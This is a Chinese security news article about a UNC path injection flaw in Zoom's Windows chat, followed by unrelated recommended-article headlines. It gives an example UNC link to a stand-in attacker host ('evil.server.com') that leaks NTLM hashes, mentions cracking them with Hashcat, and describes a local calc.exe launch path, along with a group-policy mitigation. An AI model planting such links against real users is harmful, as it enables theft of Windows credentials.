#产业气象站#近期Zoom安全问题频繁进入安全圈的视野研究人员发现Zoomwindows客户端的客户

【#产业气象站#近期Zoom安全问题频繁进入安全圈的视野】

文章图片

文章图片
研究人员发现Zoomwindows客户端的客户端聊天特征中存在UNC路径注入漏洞，攻击者利用该漏洞可以点击该链接的用户的Windows凭证。
当使用Zoom客户端时，会议参与者可以通过聊天接口发送文本消息来与其他参与者通信。
在发送聊天消息时， URL都会转为超链接，因此其他参会者点击链接后就会在默认浏览器中打开一个web页面。
安全研究人员@_g0dmode发现Zoom客户端会将聊天消息中的Windows网络UNC路径转为可点击的链接。

文章图片
Zoom聊天UNC注入
从上面的聊天消息中可以看到，聊天消息中普通的URL和UNC路径evil.server.comimagescat.jpg都会转为可点击的链接。
UNC路径转为可点击的链接后会带来什么不好的影响呢？如果用户点击UNC路径链接， Windows就会尝试使用SMB文件共享协议连接到远程站点来打开一个远程文件——cat.jpg 。
默认情况下， Windows会发送用户的login用户名和NTLMpassword哈希值，通过免费的工具Hashcat就可以破解NTLMpassword哈希值对应的密码。
安全研究人员MatthewHickey(@HackerFantastic)测试了Zoom客户端的UNC注入，发现确实可以获取NTLMpassword哈希值。 BleepingComputer也在本地测试验证了该结果。

文章图片
获取NTLMpassword哈希值
使用Hashcat这样的程序在我们日常使用的计算机上用哈希值破解密码只需要16秒钟。

文章图片
hashcat
除了窃取Windows凭证后， Hickey告诉BleepingComputer称， UNC注入还可以在点击链接时启动本地计算机上的程序。比如，点击127.0.0.1C$windowssystem32calc.exe这样的UNC路径就可以启动计算机上安装的计算器。幸好， Windows会弹窗询问用户是否要执行程序。

文章图片
点击UNC路径启动本地程序
为修复该漏洞， Zoom需要避免聊天系统将UNC路径转为可点击的超链接。 Hickey称在twitter上公布漏洞后就通知了Zoom 。 BleepingComputer也连续了Zoom但尚未得到回复。
预防NTLM凭证发送给远程服务器
在Zoom发布补丁之前，有一个方法预防该漏洞，那就是通过组策略设置来预防UNC链接被点击后NTML凭证自动发送给远程服务器。该策略为"Networksecurity:RestrictNTLM:OutgoingNTLMtraffictoremoteservers" 。

#产业气象站#近期Zoom安全问题频繁进入安全圈的视野

推荐阅读

鲜牛肉摆盘子的方法和做法鲜牛肉摆盘子的方法

中国餐馆的利润大部分来源于酒水吗如果是的话，为啥

适合家养的10种花卉适合家养的10种花卉

三分钟军事速递|我国能撑多久？俄专家：这话该反过来问，如果抗日战争发生在现在

怎么在学信网上查询学历信息

桂皮|桂皮不只是香料！专家：“隐藏”的4大功效，第4个男人都会喜欢！

7月贷款少增到底该怎么看|力度不减弱，精准导向强——7月贷款少增到底该怎么看？

卖黄瓜的|老人冒雨走路到公安局询问情况，心酸！儿子坐牢家中稻田无人收割

林敏骢|又有港剧可以追了，刚开播就飙上热搜，剧情好笑又接地气

『一网荷兰』荷兰医生：尚无法说明新冠肺炎造成少年儿童死亡原因

『电商在线』法拉利劳斯莱斯也开始转产，口罩之后轮到呼吸机？一台涨价24万

▲哎，但愿这篇内容发得不算晚，能救一个是一个！

仰卧起做的好处有什么

年内|中央储备冻猪肉累计投放43万吨年内已投23批

「新鲜科技范」无线充电重要吗，为何各厂商追捧，你怎么看？

「纵相新闻」而是想获得一种体验，董明珠谈首场直播：不是想带产品

澎湃新闻|金科股份：上半年销售额868亿元，融资成本最高12%

注册|深成指涨幅扩大至1%

拾物志|结了婚最会心疼人的星座

中央|习近平就朝鲜劳动党成立75周年向金正恩致贺电